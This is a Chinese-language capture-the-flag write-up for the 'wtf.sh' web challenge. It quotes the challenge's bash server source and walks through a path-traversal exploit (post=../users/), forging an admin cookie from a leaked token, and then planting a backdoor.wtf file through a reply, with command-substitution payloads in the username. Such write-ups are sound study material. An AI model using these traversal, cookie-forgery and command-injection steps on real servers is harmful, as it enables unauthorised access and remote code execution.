没思路,直接找源码和writeup来研究
第一个漏洞在post.wtf中:
$ # vim: ft=wtf
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
<link rel="stylesheet" type="text/css" href="/css/post.css" >
</head>
<body>
$ source user_functions.sh
$ if contains 'post' ${!URL_PARAMS[@]} && file_exists "posts/${URL_PARAMS['post']}"
$ then
$ post_id=${URL_PARAMS['post']};
$ for post_file in $(ls posts/${post_id}/* | sort --field-separator='/' --key=3 -n); do
$ echo "<div class=\"post\">";
$ poster=$(nth_line 1 ${post_file} | htmlentities);
$ title=$(nth_line 2 ${post_file} | htmlentities);
$ body=$(tail -n +3 ${post_file} | htmlentities 2> /dev/null);
$ echo "<span class=\"post-poster\">Posted by <a href=\"/profile.wtf?user=$(basename $(find_user_file "${poster}"))\">${poster}</a></span>";
$ echo "<span class=\"post-title\">$title</span>";
$ echo "<span class=\"post-body\">$body</span>";
$ echo "</div>";
$ done
$ else
$ echo "Pls give a (valid) post id";
$ fi;
<div class="action-btns">
$ echo "<a href=\"/reply.wtf?post=${post_id}\">Reply</a>"
<a href="/">Back</a>
</div>
</body>
</html>
第12行中,存在目录穿越漏洞,当传入的post_id为../
时,就变成形如ls posts/../*
的形式,遍历出上级目录的文件,并显示其内容。
搜索flag关键字,找到相关源码:
$ # vim: ft=wtf
$ source user_functions.sh
<html>
<head>
<link rel="stylesheet" type="text/css" href="/css/std.css" >
</head>
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$ local username=$(head -n 1 users/${URL_PARAMS['user']});
$ echo "<h3>${username}'s posts:</h3>";
$ echo "<ol>";
$ get_users_posts "${username}" | while read -r post; do
$ post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$ echo "<li><a href=\"/post.wtf?post=${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$ done
$ echo "</ol>";
$ if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$ then
$ get_flag1
$ fi
$ fi
</html>
可以看到存在一个users目录,并且当is_logged_in
为真,cookies中的username为admin时,执行get_flag1。
先注册一个账号,注意到cookies中除了username,还有一个TOKEN,只改username行不通。
利用前面的路径穿越漏洞,看一下users里都有什么:
post.wtf?post=../users/
最下面的应该就是token,伪造cookie后提交,得到第一个flag
第二个漏洞出现在wtf.sh中:
max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page <pathname>
local pathname=$1
local cmd=""
[[ "${pathname:(-4)}" = '.wtf' ]];
local can_execute=$?;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ "$" = "${line:0:1}" && ${can_execute} = 0 ]];
is_script=$?;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'\n'"${line#"$"}";
else
if [[ -n $cmd ]]
then
eval "$cmd" || log "Error during execution of ${cmd}";
cmd=""
fi
echo $line
fi
done < ${pathname}
else
echo "<p>Max include depth exceeded!<p>"
fi
}
如果存在一个wtf文件,则文件内容会被当成命令执行,
#!/usr/bin/env bash
source user_functions.sh
# Create a new post. Returns the post id.
function create_post {
local username=$1;
local title=$2;
local text=$3;
local hashed=$(hash_username "${username}");
# ensure posts dir exists and isn't listable.
mkdir posts 2> /dev/null;
touch posts/.nolist; # don't allow directory listing on posts
touch posts/.noread; # don't allow file reads on post
local post_id=$(basename $(mktemp --directory posts/XXXXX));
echo ${username} > "posts/${post_id}/1";
echo ${title} >> "posts/${post_id}/1";
echo ${text} >> "posts/${post_id}/1";
touch "posts/${post_id}/.nolist";
touch "posts/${post_id}/.noread";
# add to our cache for the homepage
echo "<li><a href=\"/post.wtf?post=${post_id}\">$(htmlentities <<< ${title})</a> by $(htmlentities <<< ${username})</li>" >> .index_cache.html
# add post to users' post cache
local hashed=$(hash_username "${username}");
echo "${post_id}/1" >> "users_lookup/${hashed}/posts";
echo ${post_id};
}
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}
而在post_function.wtf的reply函数中,用户名和回复内容会被直接写入到评论文件的内容中,所以通过前面的路径穿越漏洞,就可以构造一个后门backdoor.wtf并且内容收到我们控制。
注册一个账户,用户名是${find,/,iname,get_flag2}
,内容随意,之所以不在回复内容中写命令,是因为wtf.sh中对其进行了过滤。接着提交地址写为../users_lookup/backdoor.wtf%09
,其中users_lookup不是必要的,只要目录存在就行,后面%09是水平制表符,如果不加上会被当作目录解析。
提交后访问后门,就可以看到flag路径
再创建一个账户,username为${/usr/bin/get_flag2}
,其余同上,访问后得到第二个flag。